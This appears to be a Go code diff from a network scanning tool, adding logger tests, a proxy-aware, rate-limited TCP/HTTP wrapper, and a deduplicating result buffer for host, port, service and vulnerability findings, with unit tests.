||||
}
|
||||
|
||||
// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
|
||||
//
|
||||
// 验证:coordinatedOutput为nil时,使用fmt.Println(不会panic)
|
||||
func TestLogger_NoCoordinatedOutput(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
StartTime: time.Now(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
// 不设置 coordinatedOutput
|
||||
|
||||
// 应该不会panic(会使用fmt.Println)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("不应该panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
logger.Info("test message")
|
||||
|
||||
t.Logf("✓ 无协调输出测试通过(使用fmt.Println)")
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 高级功能测试(提升覆盖率)
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_SingleLevels 测试单独级别配置
|
||||
//
|
||||
// 验证:层级过滤 - 设置一个级别后,显示该级别及以上的日志,Error始终显示
|
||||
func TestLogger_SingleLevels(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
configLevel LogLevel
|
||||
testLevels map[string]func(*Logger, string)
|
||||
wantOutput map[string]bool
|
||||
}{
|
||||
{
|
||||
name: "LevelDebug - 显示所有",
|
||||
configLevel: LevelDebug,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": true, "base": true, "info": true,
|
||||
"success": true, "error": true, // 层级过滤:Debug(0)及以上全显示
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelBase - 基础及以上",
|
||||
configLevel: LevelBase,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": false, "base": true, "info": true, // 层级过滤:Base(1)及以上
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelInfo - 信息及以上",
|
||||
configLevel: LevelInfo,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"base": false, "info": true, // 层级过滤:Info(2)及以上
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelSuccess - 成功及以上",
|
||||
configLevel: LevelSuccess,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"info": false, "success": true, // 层级过滤:Success(3)及以上
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger, capture := createTestLogger(tt.configLevel, false)
|
||||
|
||||
for levelName, logFunc := range tt.testLevels {
|
||||
capture.Clear()
|
||||
logFunc(logger, levelName+" message")
|
||||
|
||||
output := capture.Get()
|
||||
shouldOutput := tt.wantOutput[levelName]
|
||||
|
||||
if shouldOutput && len(output) == 0 {
|
||||
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||
}
|
||||
if !shouldOutput && len(output) > 0 {
|
||||
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 测试通过", tt.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestLogger_ColorOutput 测试颜色输出
|
||||
//
|
||||
// 验证:EnableColor开关正确控制颜色输出
|
||||
func TestLogger_ColorOutput(t *testing.T) {
|
||||
t.Run("禁用颜色", func(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
logger.Info("test")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) == 0 {
|
||||
t.Fatal("应该有输出")
|
||||
}
|
||||
|
||||
// 无颜色时,输出就是纯文本
|
||||
if strings.Contains(output[0], "\033[") {
|
||||
t.Error("禁用颜色时不应该包含ANSI转义序列")
|
||||
}
|
||||
|
||||
t.Logf("✓ 禁用颜色测试通过")
|
||||
})
|
||||
|
||||
t.Run("启用颜色", func(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, true)
|
||||
logger.Info("test")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) == 0 {
|
||||
t.Fatal("应该有输出")
|
||||
}
|
||||
|
||||
// 启用颜色时,输出可能包含颜色(取决于终端支持)
|
||||
// 但不会panic
|
||||
t.Logf("✓ 启用颜色测试通过: %s", output[0])
|
||||
})
|
||||
}
|
||||
|
||||
// TestLogger_BackwardCompatibility 测试向后兼容性
|
||||
//
|
||||
// 验证:LevelAll 等同于 LevelDebug,显示所有级别
|
||||
func TestLogger_BackwardCompatibility(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll, // LevelAll 是 LevelDebug 的别名
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
capture := &captureOutput{}
|
||||
logger.SetCoordinatedOutput(capture.Write)
|
||||
|
||||
// LevelAll 应该显示所有级别
|
||||
logger.Debug("debug msg")
|
||||
logger.Info("info msg")
|
||||
logger.Error("error msg")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) != 3 {
|
||||
t.Errorf("LevelAll应该显示所有级别,期望3条,实际%d条", len(output))
|
||||
}
|
||||
|
||||
t.Logf("✓ 向后兼容测试通过(LevelAll显示所有级别)")
|
||||
}
|
||||
|
||||
// TestLogger_Initialize 测试初始化标记
|
||||
//
|
||||
// 验证:Initialize方法正确设置initialized标志
|
||||
func TestLogger_Initialize(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
|
||||
// 手动创建logger,跳过NewLogger中的自动初始化
|
||||
logger := &Logger{
|
||||
config: config,
|
||||
initialized: false, // 明确设置为false
|
||||
}
|
||||
|
||||
// 验证初始状态
|
||||
if logger.initialized {
|
||||
t.Error("新创建的logger不应该已初始化")
|
||||
}
|
||||
|
||||
// 调用Initialize
|
||||
logger.Initialize()
|
||||
|
||||
// 验证已初始化
|
||||
if !logger.initialized {
|
||||
t.Error("调用Initialize后应该已初始化")
|
||||
}
|
||||
|
||||
t.Logf("✓ Initialize测试通过")
|
||||
}
|
||||
|
||||
func TestLogger_CloseClosesDebugFile(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "debug.log")
|
||||
logger := NewLogger(&LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
DebugLogFile: path,
|
||||
})
|
||||
if logger.debugFile == nil {
|
||||
t.Fatal("debug file should be opened")
|
||||
}
|
||||
|
||||
logger.Info("debug file line")
|
||||
logger.Close()
|
||||
if logger.debugFile != nil {
|
||||
t.Fatal("debug file should be nil after Close")
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read debug file: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(content), "debug file line") {
|
||||
t.Fatalf("debug file content = %q", string(content))
|
||||
}
|
||||
|
||||
logger.Close()
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package common
|
||||
|
||||
/*
|
||||
network.go - 统一网络操作包装器
|
||||
|
||||
提供便捷的网络连接API,自动处理发包限制检查、代理和统计。
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 全局代理管理器(复用连接,避免重复创建)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
globalProxyOnce sync.Once
|
||||
globalProxyDialer proxy.Dialer
|
||||
globalProxyInitErr error
|
||||
)
|
||||
|
||||
// getGlobalDialer 获取全局拨号器(线程安全,只初始化一次)
|
||||
func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
|
||||
globalProxyOnce.Do(func() {
|
||||
// 创建代理配置
|
||||
config := createProxyConfig(timeout)
|
||||
|
||||
// 创建代理管理器
|
||||
manager := proxy.NewProxyManager(config)
|
||||
|
||||
// 创建拨号器
|
||||
globalProxyDialer, globalProxyInitErr = manager.GetDialer()
|
||||
})
|
||||
|
||||
return globalProxyDialer, globalProxyInitErr
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 代理配置
|
||||
// =============================================================================
|
||||
|
||||
// parseProxyURL 解析代理URL,提取地址和认证信息
|
||||
func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
|
||||
if !strings.Contains(proxyURL, "://") {
|
||||
if host, username, password, ok := parseProxyURLCandidate("http://" + proxyURL); ok {
|
||||
return host, username, password
|
||||
}
|
||||
}
|
||||
if host, username, password, ok := parseProxyURLCandidate(proxyURL); ok {
|
||||
return host, username, password
|
||||
}
|
||||
return fallback, "", ""
|
||||
}
|
||||
|
||||
func parseProxyURLCandidate(proxyURL string) (host, username, password string, ok bool) {
|
||||
parsedURL, err := url.Parse(proxyURL)
|
||||
if err != nil {
|
||||
return "", "", "", false
|
||||
}
|
||||
host = parsedURL.Host
|
||||
if host == "" {
|
||||
return "", "", "", false
|
||||
}
|
||||
if parsedURL.User != nil {
|
||||
username = parsedURL.User.Username()
|
||||
password, _ = parsedURL.User.Password()
|
||||
}
|
||||
return host, username, password, true
|
||||
}
|
||||
|
||||
// createProxyConfig 根据全局设置创建代理配置
|
||||
func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
|
||||
fv := GetFlagVars()
|
||||
config := proxy.DefaultProxyConfig()
|
||||
config.Timeout = timeout
|
||||
config.LocalAddr = fv.Iface // 设置本地网卡IP地址
|
||||
|
||||
// 优先使用SOCKS5代理
|
||||
if fv.Socks5Proxy != "" {
|
||||
config.Type = proxy.ProxyTypeSOCKS5
|
||||
// 确保有协议前缀以便解析
|
||||
socks5URL := fv.Socks5Proxy
|
||||
if !strings.HasPrefix(socks5URL, "socks5://") {
|
||||
socks5URL = "socks5://" + socks5URL
|
||||
}
|
||||
config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
|
||||
return config
|
||||
}
|
||||
|
||||
// 其次使用HTTP代理
|
||||
if fv.HTTPProxy != "" {
|
||||
if strings.HasPrefix(fv.HTTPProxy, "https://") {
|
||||
config.Type = proxy.ProxyTypeHTTPS
|
||||
} else {
|
||||
config.Type = proxy.ProxyTypeHTTP
|
||||
}
|
||||
config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
|
||||
return config
|
||||
}
|
||||
|
||||
// 无代理配置,使用直连
|
||||
config.Type = proxy.ProxyTypeNone
|
||||
return config
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// TCP 连接
|
||||
// =============================================================================
|
||||
|
||||
// Deprecated: WrapperTcpWithTimeout 仅供 libs/grdp 兼容使用,新代码请用 ScanSession.DialTCP
|
||||
//
|
||||
//nolint:revive
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
// 检查发包限制 - 在代理连接前进行控制
|
||||
if canSend, reason := CanSendPacket(); !canSend {
|
||||
LogError(i18n.Tr("tcp_connection_restricted", address, reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
}
|
||||
|
||||
// 获取全局拨号器(复用,避免重复创建)
|
||||
dialer, err := getGlobalDialer(timeout)
|
||||
if err != nil {
|
||||
LogError(i18n.Tr("proxy_dialer_failed", err))
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 使用代理拨号器连接
|
||||
conn, err := dialer.DialContext(context.Background(), network, address)
|
||||
|
||||
// 统计TCP包数量 - 无论是否使用代理都要计数
|
||||
if err != nil {
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
LogDebug(i18n.Tr("connection_failed", address, err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 连接成功,统计成功包
|
||||
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// SafeTCPDial TCP连接的便捷封装
|
||||
// 直接调用WrapperTcpWithTimeout,自动处理发包限制、代理和统计
|
||||
func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
|
||||
return WrapperTcpWithTimeout("tcp", address, timeout)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// HTTP 请求
|
||||
// =============================================================================
|
||||
|
||||
// IsProxyEnabled 检查是否启用了代理(封装proxy包的函数)
|
||||
func IsProxyEnabled() bool {
|
||||
return proxy.IsProxyEnabled()
|
||||
}
|
||||
|
||||
// IsProxyReliable 检查代理是否可靠(不存在全回显问题)
|
||||
func IsProxyReliable() bool {
|
||||
return proxy.IsProxyReliable()
|
||||
}
|
||||
|
||||
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
|
||||
func IsSOCKS5Proxy() bool {
|
||||
return proxy.IsSOCKS5Proxy()
|
||||
}
|
||||
|
||||
// SafeHTTPDo 带发包控制的HTTP请求
|
||||
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
|
||||
// 检查发包限制
|
||||
if canSend, reason := CanSendPacket(); !canSend {
|
||||
LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
}
|
||||
|
||||
// 执行HTTP请求
|
||||
resp, err := client.Do(req)
|
||||
|
||||
// 统计TCP包数量 (HTTP本质上是TCP)
|
||||
if err != nil {
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
return resp, err
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestNetworkFacadeProxyState(t *testing.T) {
|
||||
t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) })
|
||||
proxy.AutoConfigureProxy(proxy.DefaultProxyConfig())
|
||||
|
||||
if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||
t.Fatal("direct global proxy state should be disabled and reliable")
|
||||
}
|
||||
|
||||
proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5})
|
||||
if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||
t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) {
|
||||
previousConfig := GetGlobalConfig()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
SetGlobalConfig(previousConfig)
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Network.MaxPacketCount = 1
|
||||
state := NewState()
|
||||
state.IncrementPacketCount()
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
client := &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("transport should not be called when packet limit is reached")
|
||||
return nil, nil
|
||||
})}
|
||||
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil {
|
||||
t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
package output
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
|
||||
type ResultBuffer struct {
|
||||
mu sync.Mutex
|
||||
|
||||
// 分类缓冲
|
||||
HostResults []*ScanResult
|
||||
PortResults []*ScanResult
|
||||
ServiceResults []*ScanResult
|
||||
VulnResults []*ScanResult
|
||||
|
||||
// 去重map
|
||||
seenHosts map[string]struct{}
|
||||
seenPorts map[string]struct{}
|
||||
seenServices map[string]int // 存储索引,用于更新更完整的记录
|
||||
seenVulns map[string]struct{}
|
||||
}
|
||||
|
||||
// NewResultBuffer 创建新的结果缓冲
|
||||
func NewResultBuffer() *ResultBuffer {
|
||||
return &ResultBuffer{
|
||||
seenHosts: make(map[string]struct{}, 256),
|
||||
seenPorts: make(map[string]struct{}, 512),
|
||||
seenServices: make(map[string]int, 128),
|
||||
seenVulns: make(map[string]struct{}, 64),
|
||||
}
|
||||
}
|
||||
|
||||
// Add 添加结果到缓冲(自动去重)
|
||||
func (b *ResultBuffer) Add(result *ScanResult) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
if result == nil {
|
||||
return
|
||||
}
|
||||
|
||||
key := b.generateKey(result)
|
||||
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
if _, exists := b.seenHosts[key]; !exists {
|
||||
b.seenHosts[key] = struct{}{}
|
||||
b.HostResults = append(b.HostResults, result)
|
||||
}
|
||||
case TypePort:
|
||||
if _, exists := b.seenPorts[key]; !exists {
|
||||
b.seenPorts[key] = struct{}{}
|
||||
b.PortResults = append(b.PortResults, result)
|
||||
}
|
||||
case TypeService:
|
||||
if idx, exists := b.seenServices[key]; !exists {
|
||||
b.seenServices[key] = len(b.ServiceResults)
|
||||
b.ServiceResults = append(b.ServiceResults, result)
|
||||
} else {
|
||||
b.mergeDetails(b.ServiceResults[idx], result)
|
||||
// 保留信息更完整的记录,同时保留另一条记录补充的字段
|
||||
if b.isMoreComplete(result, b.ServiceResults[idx]) {
|
||||
b.ServiceResults[idx] = result
|
||||
}
|
||||
}
|
||||
case TypeVuln:
|
||||
if _, exists := b.seenVulns[key]; !exists {
|
||||
b.seenVulns[key] = struct{}{}
|
||||
b.VulnResults = append(b.VulnResults, result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
|
||||
if oldResult == nil || newResult == nil {
|
||||
return
|
||||
}
|
||||
if oldResult.Details == nil {
|
||||
oldResult.Details = make(map[string]interface{})
|
||||
}
|
||||
if newResult.Details == nil {
|
||||
newResult.Details = make(map[string]interface{})
|
||||
}
|
||||
for k, v := range oldResult.Details {
|
||||
if _, exists := newResult.Details[k]; !exists {
|
||||
newResult.Details[k] = v
|
||||
}
|
||||
}
|
||||
for k, v := range newResult.Details {
|
||||
if _, exists := oldResult.Details[k]; !exists {
|
||||
oldResult.Details[k] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// generateKey 生成结果的唯一键(用于去重)
|
||||
func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
return result.Target
|
||||
case TypePort:
|
||||
if result.Details != nil {
|
||||
if port, ok := result.Details["port"]; ok {
|
||||
return targetWithPort(result.Target, port)
|
||||
}
|
||||
}
|
||||
return result.Target
|
||||
case TypeService:
|
||||
return result.Target
|
||||
case TypeVuln:
|
||||
return result.Target + "|" + result.Status
|
||||
default:
|
||||
return result.Target + "|" + result.Status
|
||||
}
|
||||
}
|
||||
|
||||
// isMoreComplete 判断新记录是否比旧记录信息更完整
|
||||
func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
|
||||
return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
|
||||
}
|
||||
|
||||
// CalculateCompleteness 计算记录的信息完整度
|
||||
func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
|
||||
score := 0
|
||||
if result.Details == nil {
|
||||
return score
|
||||
}
|
||||
|
||||
// 有 status 码加分
|
||||
if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
|
||||
score += 2
|
||||
}
|
||||
// 有 server 加分
|
||||
if server, ok := result.Details["server"].(string); ok && server != "" {
|
||||
score += 2
|
||||
}
|
||||
// 有 title 加分
|
||||
if title, ok := result.Details["title"].(string); ok && title != "" {
|
||||
score += 1
|
||||
}
|
||||
// 有指纹加分
|
||||
if fps := result.Details["fingerprints"]; fps != nil {
|
||||
switch v := fps.(type) {
|
||||
case []string:
|
||||
if len(v) > 0 {
|
||||
score += 3
|
||||
}
|
||||
case []interface{}:
|
||||
if len(v) > 0 {
|
||||
score += 3
|
||||
}
|
||||
}
|
||||
}
|
||||
// 有 banner 加分
|
||||
if banner, ok := result.Details["banner"].(string); ok && banner != "" {
|
||||
score += 1
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
// Summary 获取统计摘要
|
||||
func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
|
||||
}
|
||||
|
||||
// Clear 清空缓冲
|
||||
func (b *ResultBuffer) Clear() {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
b.HostResults = nil
|
||||
b.PortResults = nil
|
||||
b.ServiceResults = nil
|
||||
b.VulnResults = nil
|
||||
b.seenHosts = make(map[string]struct{})
|
||||
b.seenPorts = make(map[string]struct{})
|
||||
b.seenServices = make(map[string]int)
|
||||
b.seenVulns = make(map[string]struct{})
|
||||
}
|
||||
@@ -0,0 +1,475 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
buffer_test.go - ResultBuffer 高价值测试
|
||||
|
||||
测试重点:
|
||||
1. 去重逻辑 - 不同结果类型的去重策略差异
|
||||
2. 完整度评分 - 决定是否替换已有服务记录
|
||||
3. 并发安全 - 多goroutine同时Add
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 基本去重测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_HostDeduplication 测试主机去重
|
||||
func TestResultBuffer_HostDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 添加相同主机多次
|
||||
for i := 0; i < 10; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "192.168.1.1",
|
||||
Status: "alive",
|
||||
})
|
||||
}
|
||||
|
||||
hosts, _, _, _ := buf.Summary()
|
||||
if hosts != 1 {
|
||||
t.Errorf("主机应去重为1个,实际 %d", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_PortDeduplication 测试端口去重
|
||||
func TestResultBuffer_PortDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同IP:Port应去重
|
||||
for i := 0; i < 5; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 80},
|
||||
})
|
||||
}
|
||||
|
||||
// 不同端口不去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 443},
|
||||
})
|
||||
|
||||
_, ports, _, _ := buf.Summary()
|
||||
if ports != 2 {
|
||||
t.Errorf("端口应有2个(80和443),实际 %d", ports)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceDeduplication 测试服务去重
|
||||
func TestResultBuffer_ServiceDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同Target的服务应去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
})
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "nginx",
|
||||
})
|
||||
|
||||
_, _, services, _ := buf.Summary()
|
||||
if services != 1 {
|
||||
t.Errorf("相同Target的服务应去重为1个,实际 %d", services)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_VulnDeduplication 测试漏洞去重
|
||||
func TestResultBuffer_VulnDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同Target+Status的漏洞应去重
|
||||
for i := 0; i < 3; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: "192.168.1.1:445",
|
||||
Status: "MS17-010",
|
||||
})
|
||||
}
|
||||
|
||||
// 不同漏洞不去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: "192.168.1.1:445",
|
||||
Status: "CVE-2020-0796",
|
||||
})
|
||||
|
||||
_, _, _, vulns := buf.Summary()
|
||||
if vulns != 2 {
|
||||
t.Errorf("漏洞应有2个,实际 %d", vulns)
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 完整度评分测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_CompletenessScore 测试完整度评分
|
||||
func TestResultBuffer_CompletenessScore(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
result *ScanResult
|
||||
expectedScore int
|
||||
}{
|
||||
{
|
||||
name: "空Details",
|
||||
result: &ScanResult{Details: nil},
|
||||
expectedScore: 0,
|
||||
},
|
||||
{
|
||||
name: "只有status",
|
||||
result: &ScanResult{Details: map[string]interface{}{"status": 200}},
|
||||
expectedScore: 2,
|
||||
},
|
||||
{
|
||||
name: "有server",
|
||||
result: &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
|
||||
expectedScore: 2,
|
||||
},
|
||||
{
|
||||
name: "有title",
|
||||
result: &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
|
||||
expectedScore: 1,
|
||||
},
|
||||
{
|
||||
name: "有指纹-[]string",
|
||||
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
|
||||
expectedScore: 3,
|
||||
},
|
||||
{
|
||||
name: "有指纹-[]interface{}",
|
||||
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
|
||||
expectedScore: 3,
|
||||
},
|
||||
{
|
||||
name: "有banner",
|
||||
result: &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
|
||||
expectedScore: 1,
|
||||
},
|
||||
{
|
||||
name: "完整记录",
|
||||
result: &ScanResult{
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx",
|
||||
"title": "Home",
|
||||
"fingerprints": []string{"nginx", "php"},
|
||||
"banner": "test",
|
||||
},
|
||||
},
|
||||
expectedScore: 9, // 2+2+1+3+1
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
score := buf.CalculateCompleteness(tt.result)
|
||||
if score != tt.expectedScore {
|
||||
t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceUpdate 测试服务记录更新
|
||||
//
|
||||
// 当新记录比旧记录更完整时,应该替换
|
||||
func TestResultBuffer_ServiceUpdate(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 先添加简单记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{},
|
||||
})
|
||||
|
||||
// 再添加更完整的记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx/1.18.0",
|
||||
"title": "Welcome",
|
||||
"fingerprints": []string{"nginx", "php"},
|
||||
},
|
||||
})
|
||||
|
||||
_, _, services, _ := buf.Summary()
|
||||
if services != 1 {
|
||||
t.Fatal("服务数量应为1")
|
||||
}
|
||||
|
||||
// 验证是更完整的记录
|
||||
if buf.ServiceResults[0].Details == nil {
|
||||
t.Fatal("Details不应为nil")
|
||||
}
|
||||
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||
t.Error("应保留更完整的记录")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"service": "http",
|
||||
"banner": "HTTP/1.1 200 OK",
|
||||
},
|
||||
})
|
